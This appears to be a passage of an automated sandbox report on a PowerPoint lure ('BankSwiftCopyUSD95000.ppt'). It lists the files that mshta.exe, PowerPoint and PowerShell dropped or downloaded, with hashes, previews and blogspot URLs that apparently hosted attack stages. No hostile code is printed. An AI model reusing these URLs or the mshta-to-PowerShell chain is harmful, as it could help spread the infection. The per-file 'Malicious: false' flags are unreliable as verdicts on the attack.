Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var l=this\|\|self,m=function(a,b){a=a.split(".");var c=l;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};var q=function(a,b){for(var c in b)b.hasOwnProperty(c)&&(a[c]=b[c])},r=function(a){for(var b in a)if(a.hasOwnProperty(b))return!0;return!1};var t=/^(?:(?:https?\|mailto\|ftp):\|[^:/?#]*(?:[/?#]\|$))/i;var u=window,v=document,w=function(a,b){v.addEventListener?v.addEventListener(a,b,!1):v.attachEvent&&v.attachEvent("on"+a,b)};var x={},y=function(){x.TAGGING=x.TAGGING\|\|[];x.TAGGING[1]=!0};var z=/:[0-9]+$/,A=function(a,b,c){a=a.split("&");for(var d=0;d<a.length;d++){var e=a[d].split("=");if(decodeURIComponent(e[0]).replace(/\+/g," ")===b)return b=e.slice(1).join("="),c?b:decodeURIComponent(b).replace(/\+/g," ")}},D=function(a,b){b&&(b=String(b).toLowerCase());if("p

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\backbone14[1].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	30326
Entropy (8bit):	5.3810418812269685
Encrypted:	false
SSDEEP:	768:rGgiP/b3eyHHvPWduwH9s0XGHAfXnVgN3NHRvHp7oS2SY9Y:rGgiP/b3LHH2duwH9jXGHAdgN3NHRvHz
MD5:	CD2F00999ED27853590B2EDC1F10A133
SHA1:	176E305E9F63D46A6CB03A368C3E3E6E2365D567
SHA-256:	2F37F073E8861DC2074E7CF310E108E036936468CB4F12A363AAF1FC31BA5B31
SHA-512:	C195FE3BF9FD2332BAC4AB4EBE5772EB8AFFA34E7B6E3F4D984078EF46BDEA9092E61BF07AA11F453D0729350E09DF0420180CE53AC0A8F7E5137131AA3E1D6F
Malicious:	false
IE Cache URL:	https://startthepartyup.blogspot.com/p/backbone14.html
Preview:	<!DOCTYPE html>.<html class='v2' dir='ltr' lang='en-GB'>.<head>.<link href='https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.css' rel='stylesheet' type='text/css'/>.<meta content='width=1100' name='viewport'/>.<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>.<meta content='blogger' name='generator'/>.<link href='https://startthepartyup.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/>.<link href='https://startthepartyup.blogspot.com/p/backbone14.html' rel='canonical'/>.<link rel="alternate" type="application/atom+xml" title="startthepartyup - Atom" href="https://startthepartyup.blogspot.com/feeds/posts/default" />.<link rel="alternate" type="application/rss+xml" title="startthepartyup - RSS" href="https://startthepartyup.blogspot.com/feeds/posts/default?alt=rss" />.<link rel="service.post" type="application/atom+xml" title="startthepartyup - Atom" href="https://www.blogger.com/feeds/9027821174359424672/posts/default" />. [if IE]><script

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\blogin[1].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	149589
Entropy (8bit):	5.572386533241481
Encrypted:	false
SSDEEP:	1536:gbSXNDKT4eyooGpV2UAWIGSDHhgoynJ3mYOqLZUf1o4FZeMe4at0YWLGkQYnWe9N:OS9y8heIRg+b4gYzjhW+G
MD5:	84FE5508BBFE1C53A62309FDEFE15D3D
SHA1:	53393903F80154A63BB018D34A22CB2710E533FB
SHA-256:	7E39CB5BA2B39A584E8A3FDC746AF5435381E4C43F9C541F5B3CF8159BF6FE23
SHA-512:	F11A830A4A2E260747D055C293CFF28B55262C0836D226572BA1C8EB8905064440D56AFD37D0BBE03F2361170AAF75D7B8F0AB3F6EEF6079F7F8382D89A2B5A2
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html dir="ltr"><head><title>Sensitive content warning</title>.<link href="//fonts.googleapis.com/css?family=Open+Sans:300" rel="stylesheet" type="text/css">.<meta content="adult" name="rating">.<link href="//fonts.googleapis.com/css?family=Open+Sans:300" rel="stylesheet" type="text/css">.<link href="//www.google.com/css/maia.css" rel="stylesheet" type="text/css">.<link href="https://www.blogger.com/static/v1/v-css/281434096-static_pages.css" rel="stylesheet" type="text/css">.<style type="text/css">. @font-face{font-family:'Material Icons Extended';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/materialiconsextended/v64/kJEjBvgX7BgnkSrUwT8UnLVc38YydejYY-oE_LvN.eot);}. </style></head>.<body class="lang_en rb"><script type="text/javascript">. window.ga=window.ga\|\|function(){(ga.q=ga.q\|\|[]).push(arguments)};ga.l=+new Date;. ga('create',. "UA-18003-7",. '

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\blogin[3].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	5.457584462246226
Encrypted:	false
SSDEEP:	192:puqg3OqSB5cc8rELWyHvEODR2usCnyVas4PV6D8f:EqmbSj0xquahx
MD5:	10B58BA496D799C0235A21242608116F
SHA1:	85CEF1A13EBCEF0E4C2CF111AF0F7A458FBCA27E
SHA-256:	3E550C2C5FF69839A75EFCA67A23A000114E534A853F592A8083AA97D08DF270
SHA-512:	A083CCA0589874EB508F499F9563D38799D516D9C9C093213CD6AF55A08407A890E67AF1319695F752AC49A8213E8556FA6AC86E0CC37A2523381B3FFA3AABEC
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html dir="ltr"><head><title>Sensitive content warning</title>.<link href="//fonts.googleapis.com/css?family=Open+Sans:300" rel="stylesheet" type="text/css">.<meta content="adult" name="rating">.<link href="//fonts.googleapis.com/css?family=Open+Sans:300" rel="stylesheet" type="text/css">.<link href="//www.google.com/css/maia.css" rel="stylesheet" type="text/css">.<link href="https://www.blogger.com/static/v1/v-css/281434096-static_pages.css" rel="stylesheet" type="text/css">.<style type="text/css">. @font-face{font-family:'Material Icons Extended';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/materialiconsextended/v64/kJEjBvgX7BgnkSrUwT8UnLVc38YydejYY-oE_LvN.eot);}. </style></head>.<body class="lang_en rb"><script type="text/javascript">. window.ga=window.ga\|\|function(){(ga.q=ga.q\|\|[]).push(arguments)};ga.l=+new Date;. ga('create',. "UA-18003-7",. '

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\error[1] Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6494
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDucqKFlZ/P:C0pv+GkduSDl6LRl0pv+GkduSDl6LRa
MD5:	267E302C26E032132179DE088213355D
SHA1:	7BAB512125E561DE8CB6304F85E1C942F1144C52
SHA-256:	CB0BA3CA8EB46FDF94EECE50590E21BC1DF2000C0DF63E06C9E9D91F7EB0EFC9
SHA-512:	0C84328BB901154545D9EAF735847AAA9132CC937E3E694C40FA1339FBFC5FC716CD7C2FB4DEDCBCDDBCA1E0D39EC4EF4BBAD0C44F744452E3F2CC805C3016F4
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\error[2] Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\icon18_edit_allbkg[1].gif Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 18 x 18
Category:	downloaded
Size (bytes):	162
Entropy (8bit):	6.20718596834588
Encrypted:	false
SSDEEP:	3:CUS9n21IZClSWEj5QQxlEGsSZpZcYES9XfLvlcDdcpFXn:HS9nSIUlSlNQQjEGsSJcYEowdcrX
MD5:	C991641178FF05ADF0D004298B5EAFA9
SHA1:	D8F6CE8ECD92B86D49849360F6B81CEB10B4C941
SHA-256:	CA9848E6006CFEC8F9FFA29433ADE8152204BDB95579200831C6DC0F53DFF70B
SHA-512:	6A845A5DB1F1388DF00F09FDE3787C5A8846C4F1F8041476BC011553821F9BD90FB2937AC10BE45EB5DD1749105CCD4F7339FAA044ECC7386CAF9B59B374EB3B
Malicious:	false
IE Cache URL:	https://resources.blogblog.com/img/icon18_edit_allbkg.gif
Preview:	GIF89a..........j4TSP.%..........)I5.....S(..3&...1..#..!.......,..........O..I...`.......(..1......"N.(.!.3....wH.@..1...... ....ra..R...../..yL `M.J..;

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\icon18_wrench_allbkg[1].png Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 18 x 18, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	475
Entropy (8bit):	7.239750626651385
Encrypted:	false
SSDEEP:	12:6v/7ElZUJDdwjI5Fa4ep0LPf+veUxQn6/Xh0ptMQsfZhkNTpQEsb7:ZK1dw0etKjfUxQn6/x0DWrETpQZb7
MD5:	F617EFFE6D96C15ACFEA8B2E8AAE551F
SHA1:	6D676AF11AD2E84B620CCE4D5992B657CB2D8AB6
SHA-256:	D172D750493BE64A7ED84DEC1DD2A0D787BA42F78BC694B0858F152C52B6620B
SHA-512:	3189A6281AD065848AFC700A47BEA885CD3905DAE11CCB28B88C81D3B28F73F4DFA2D5D1883BB9325DC7729A32AA29B7D1181AE5752DF00F6931624B50571986
Malicious:	false
IE Cache URL:	https://resources.blogblog.com/img/icon18_wrench_allbkg.png
Preview:	.PNG........IHDR.............a.~e....PLTE...... J.4e.............u..l..e..c{.......................................................................Y}.T\|....`v.`w............................................................[q.............Eq....__^.......bY....tRNS.@..f....IDATx^M.U..1.@..A(33.Cf....qR...."..@....*.v&.g...X.="6.Xz.$/".3.;.R\....Mb.((...J...R...pK.OY.0...Q.....q.r3..r.v..b..j+..h.r...<._...l.}lY......o%....b..d,l/. ........N...ig.K.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\maia[1].css Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	43502
Entropy (8bit):	5.583970359912841
Encrypted:	false
SSDEEP:	768:xwAbmEw+jAJFnSCZ9vWdmIfhjQucISYsU8/F+:bAJFnSC3W1QXISYsU8t+
MD5:	9E914FD11C5238C50EBA741A873F0896
SHA1:	950316FFEF900CEECCA4CF847C9A8C14231271DA
SHA-256:	8684A32D1A10D050A26FC33192EDF427A5F0C6874C590A68D77AE6E0D186BD8A
SHA-512:	362B96B27D3286396F53ECE74B1685FA915FC9A73E83F28E782B3F6A2B9F851BA9E37D79D93BD97AB7B3DC3C2D9B66B5E8F81151C8B65A17F4483E1484428E5F
Malicious:	false
IE Cache URL:	https://www.google.com/css/maia.css
Preview:	@media screen,projection,print{html,input,textarea{font-family:arial,sans-serif}html.maia-noto:lang(ar),html.maia-noto:lang(ar) input,html.maia-noto:lang(ar) textarea{font-family:"Noto Naskh Arabic UI",arial,sans-serif}html{line-height:1.54}h5,h6,pre,table,input,textarea,code{font-size:1em}address,abbr,cite{font-style:normal}table{border-collapse:collapse;border-spacing:0}th{text-align:left}[dir=rtl] th{text-align:right}blockquote,q{font-style:italic}html[lang^=ja] blockquote,html[lang^=ja] q,html[lang^=ko] blockquote,html[lang^=ko] q,html[lang^=zh] blockquote,html[lang^=zh] q{font-style:normal}fieldset,iframe,img{border:0}q{quotes:none}sup,sub{line-height:0}html[lang^=ja] .ww,html[lang^=ko] .ww,html[lang^=zh] .ww{display:inline-block}}@media screen,projection{html,h4,h5,h6{font-size:13px}html{background:#fff;color:#444;padding:0 15px}body,fieldset{margin:0}h1,h2,h3,h4,em,i{font-weight:bold}h1,h2,h3,h4,blockquote,q{font-family:"open sans",arial,sans-serif}html.maia-noto:lang(ar) h1,htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\share_buttons_20_3[1].png Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 120 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5080
Entropy (8bit):	7.934378623776424
Encrypted:	false
SSDEEP:	96:fQF0nYNa08BXqtmthO92OamTM5TuqeKJbLcbIsZNB52O2LK:fQoYkLBpc92OamT0TeKxLCIsvB52OCK
MD5:	AD9999106D5F550920B586E8E1704E5A
SHA1:	93FD02C51166402A41F96509CD0CA3FB917877DD
SHA-256:	3829A5B2ADE7CFC416C80B8F3DF71E49E68672875F025D525223978F5CEE3FD3
SHA-512:	DE6552632F76A64C26FC0F27CCE741FBB383D60C62A4999A79023D3207B0FAB754CC975B4988B3F65CE481791C434D18D427CE3D98D7838AD0ED05A1D8125519
Malicious:	false
IE Cache URL:	https://www.blogger.com/img/share_buttons_20_3.png
Preview:	.PNG........IHDR...x...<.......~.....IDATh...t.U..3=}l..V<==....m.O7.H; ..-zd.q............a..$..J .a.I.{0!l!I%$.$..}...'...._./.\|.U..6Su....z....}U...........S.......H...................Gtt4v...E...o..{QQQ.U............\.r...+.j..6..V_...W.c........8..[...(//......p..9\|..7R.x...L`k....]Z.~.K.6l.tn.u...4.pMM..9..g.J.....^w.BV...WUU...$........y......M.....D.......Sr,./^.I.W...x.!`.rXX..m.&..f.u.....V.Uj.}X.d..-[..C..h..cbb......y.........2..s...R.....d...qO.#\B=\|.....9N..,@xx8..\./..R..5F.....\.....q.....I....r..K.....1c..y#...ptRGG...."$$DJ.....nBB....:.'r.......'.....Nq"z...cuL..R.xj.....1.5k.......KN.5k..q.9s........h.....`DD........u..e.......z.L#s..a....`* ...X.\|.l$ApVy.L.....l.mp.8I.M...0;.B...9...]...^...R`.q%={yyyr...p...AG.gSl.I....?_:..=..L....@..x...y...?/.....<H.......4==].*....a.'`z.._5P..;...j...9"s...}......z..,...(.Sl+....\.......1.x.#..~\.........K/....'2..wz..o.-.!.={.nN..#./C.hh..pd.m...x..5.L..u..@.\.q

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\st2222[1].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	246010
Entropy (8bit):	3.7271987098613337
Encrypted:	false
SSDEEP:	768:d83eyHHvPWdKqaS2vc26nI2VbzU3Ej46xvfnVgoLS2S7b:d83LHH2dKqx2ZKI2Vc3Ej46vgoLy
MD5:	98E5D1F262EBFD9AFC2542E6F9A6A886
SHA1:	6802354CA8583B3A63C8E1CB285BA5257384894B
SHA-256:	0906CE83C6E40BB3EBDF2A2B648EB735E3EA53B75C16367EF1BB6930FD67E8EC
SHA-512:	B28BF5C412AF04A32975989C366E4D20DCE253EAD5022A34F1413DD46772483C2B114ABB7560FC19B248E8BAE866AE71DD771E96922BE047083DCE05F7CDCB47
Malicious:	false
IE Cache URL:	https://mainjigijigi123.blogspot.com/p/st2222.html
Preview:	<!DOCTYPE html>.<html class='v2' dir='ltr' lang='en-GB'>.<head>.<link href='https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.css' rel='stylesheet' type='text/css'/>.<meta content='width=1100' name='viewport'/>.<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>.<meta content='blogger' name='generator'/>.<link href='https://mainjigijigi123.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/>.<link href='https://mainjigijigi123.blogspot.com/p/st2222.html' rel='canonical'/>.<link rel="alternate" type="application/atom+xml" title="mainjigijigi - Atom" href="https://mainjigijigi123.blogspot.com/feeds/posts/default" />.<link rel="alternate" type="application/rss+xml" title="mainjigijigi - RSS" href="https://mainjigijigi123.blogspot.com/feeds/posts/default?alt=rss" />.<link rel="service.post" type="application/atom+xml" title="mainjigijigi - Atom" href="https://www.blogger.com/feeds/9116518222795791100/posts/default" />. [if IE]><script type="text/j

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\stback1[1].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	33773
Entropy (8bit):	5.536280135344462
Encrypted:	false
SSDEEP:	768:itNq3eyHHvPWdCPJS2vc26nu5AkXnVgshXt+2SYn:itNq3LHH2dCPE2ZKu5AYgshXt/
MD5:	AD61696C5A1D04015DF2FF3709BD5E0D
SHA1:	73F6B22D0B12930A32CA6DFE19FE8D4A46F2E39D
SHA-256:	97CE2ADA8A44A9A8F2CCA726172792B2080B341254D2350DD56E4D5AD75B210C
SHA-512:	4111C05D9B591251A533DA1470DC6D7D00F421065A95F7FA5DF1B721C1C516DC456BE228F0FE18638F986201BE47AA51DE5D70E23B44AA5298196E45F1A4B87D
Malicious:	false
IE Cache URL:	https://backbones1234511a.blogspot.com/p/stback1.html
Preview:	<!DOCTYPE html>.<html class='v2' dir='ltr' lang='en'>.<head>.<link href='https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.css' rel='stylesheet' type='text/css'/>.<meta content='width=1100' name='viewport'/>.<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>.<meta content='blogger' name='generator'/>.<link href='https://backbones1234511a.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/>.<link href='https://backbones1234511a.blogspot.com/p/stback1.html' rel='canonical'/>.<link rel="alternate" type="application/atom+xml" title="backbones - Atom" href="https://backbones1234511a.blogspot.com/feeds/posts/default" />.<link rel="alternate" type="application/rss+xml" title="backbones - RSS" href="https://backbones1234511a.blogspot.com/feeds/posts/default?alt=rss" />.<link rel="service.post" type="application/atom+xml" title="backbones - Atom" href="https://www.blogger.com/feeds/7680886694920034828/posts/default" />. [if IE]><script type="text/java

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\BankSwiftCopyUSD95000.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020, atime=Wed Jan 13 20:43:35 2021, length=104448, window=hide
Category:	dropped
Size (bytes):	2138
Entropy (8bit):	4.558696032471506
Encrypted:	false
SSDEEP:	48:8TZ/XT0jkgX2nhO7Qh2TZ/XT0jkgX2nhO7Q/:8TZ/Xojk22E7Qh2TZ/Xojk22E7Q/
MD5:	D8B2787B913D71E0A0A5163A1FC63967
SHA1:	A7FE3DF765FDAB05C4BE82F0AB63B0F1BD3425C3
SHA-256:	F078FBE707E4D6C86A3DFCC8B175F978505C3A2DE77651BBCB799788A377BC1F
SHA-512:	30116C07A1B500ED664147BFAFDF228427E009DA10EC22CDA300FD1F3759A7B719BD27B3F48415F56B1968F0C67169B269830C15F8640DCCA36EF702CC441813
Malicious:	false
Preview:	L..................F.... ....d..{...d..{..n^.%.................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....\|.2.....-Rr. .BANKSW~1.PPT..`.......Q.y.Q.y...8.....................B.a.n.k.S.w.i.f.t.C.o.p.y.U.S.D.9.5.0.0.0...p.p.t.......................-...8...[............?J......C:\Users\..#...................\\226546\Users.user\Desktop\BankSwiftCopyUSD95000.ppt.0.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.B.a.n.k.S.w.i.f.t.C.o.p.y.U.S.D.9.5.0.0.0...p.p.t.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......226546.........

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	101
Entropy (8bit):	4.605215508179514
Encrypted:	false
SSDEEP:	3:e1E61Qcw2DhU/7Qcw2DhUmZ1E61Qcw2DhUv:e1C2FAC2F1C2F2
MD5:	5BB7084F6E424324054C931281C6DF42
SHA1:	DC56F7830AC51ADA1C311EED0BB358BB0459B680
SHA-256:	D89D12C522386DBDFF572982BDC69C10664078538D4AB16FA871FB81034DF01D
SHA-512:	F801ACE22A36CC0521F73B51198177F974AB9C0CC9FD1F66EB2B7A7EDCAF915C791361B5C76DDBA840C6AD0B367E110EC776CD9B003AEBFD92DA603205C4F011
Malicious:	false
Preview:	[ppt]..BankSwiftCopyUSD95000.LNK=0..BankSwiftCopyUSD95000.LNK=0..[ppt]..BankSwiftCopyUSD95000.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0C80LKLL3RNFORU629R4.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5869379648879183
Encrypted:	false
SSDEEP:	96:chQCsMq2yqvsqvJCwo1z8hQCsMq2yqvsEHyqvJCworbzbKKr8PHmZqR/MlUV/Iu:cyko1z8ywHnorbzbPxZqRPIu
MD5:	D62CC9CCF77316A2AA6A729F57925D11
SHA1:	00678A777EC4BF4C3AD3EA8B922FF9481CE5BFDC
SHA-256:	93390D2FE903C3BDD52EEB40A7A231B9D176C8C8B54AE580A6681F2E701ACED0
SHA-512:	8480FC261FDFF51E9BC8B9345A8532408E699FD60FF6A354B01E7DCCCC6F7AF991A8840790344B042029656AF0EFBB450E90DAA3A24E371EC4E3CC458B70FAF2
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3U3Q2FM73WBY1UE104TU.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5869379648879183
Encrypted:	false
SSDEEP:	96:chQCsMq2yqvsqvJCwo1z8hQCsMq2yqvsEHyqvJCworbzbKKr8PHmZqR/MlUV/Iu:cyko1z8ywHnorbzbPxZqRPIu
MD5:	D62CC9CCF77316A2AA6A729F57925D11
SHA1:	00678A777EC4BF4C3AD3EA8B922FF9481CE5BFDC
SHA-256:	93390D2FE903C3BDD52EEB40A7A231B9D176C8C8B54AE580A6681F2E701ACED0
SHA-512:	8480FC261FDFF51E9BC8B9345A8532408E699FD60FF6A354B01E7DCCCC6F7AF991A8840790344B042029656AF0EFBB450E90DAA3A24E371EC4E3CC458B70FAF2
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J8I74OU51TKSDH4DLI8O.temp Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.585483093071589
Encrypted:	false
SSDEEP:	96:chQCsMq2yqvsqvJCwo1z8hQCsMq2yqvsEHyqvJCworbzkKY2PHmxyR/MlUV/Iu:cyko1z8ywHnorbzktxyRPIu
MD5:	CFED356B7D3C67E02B444A42748C9C30
SHA1:	9F8F99098E818E40DEF5CEBB79D6750E4218CA39
SHA-256:	DF469FB95559F0412C9AF5C3AD77C12F276241ABABF606D60695F40BABCBAF56
SHA-512:	C3B154749C955D91EE2B3577987FEF327EBBA37ED07FC3CFF97169F73CC7CB1A22DD38D85E320DE6302485FF806206B8D3698B59CACF4E95074C8D7A94B50221
Malicious:	false
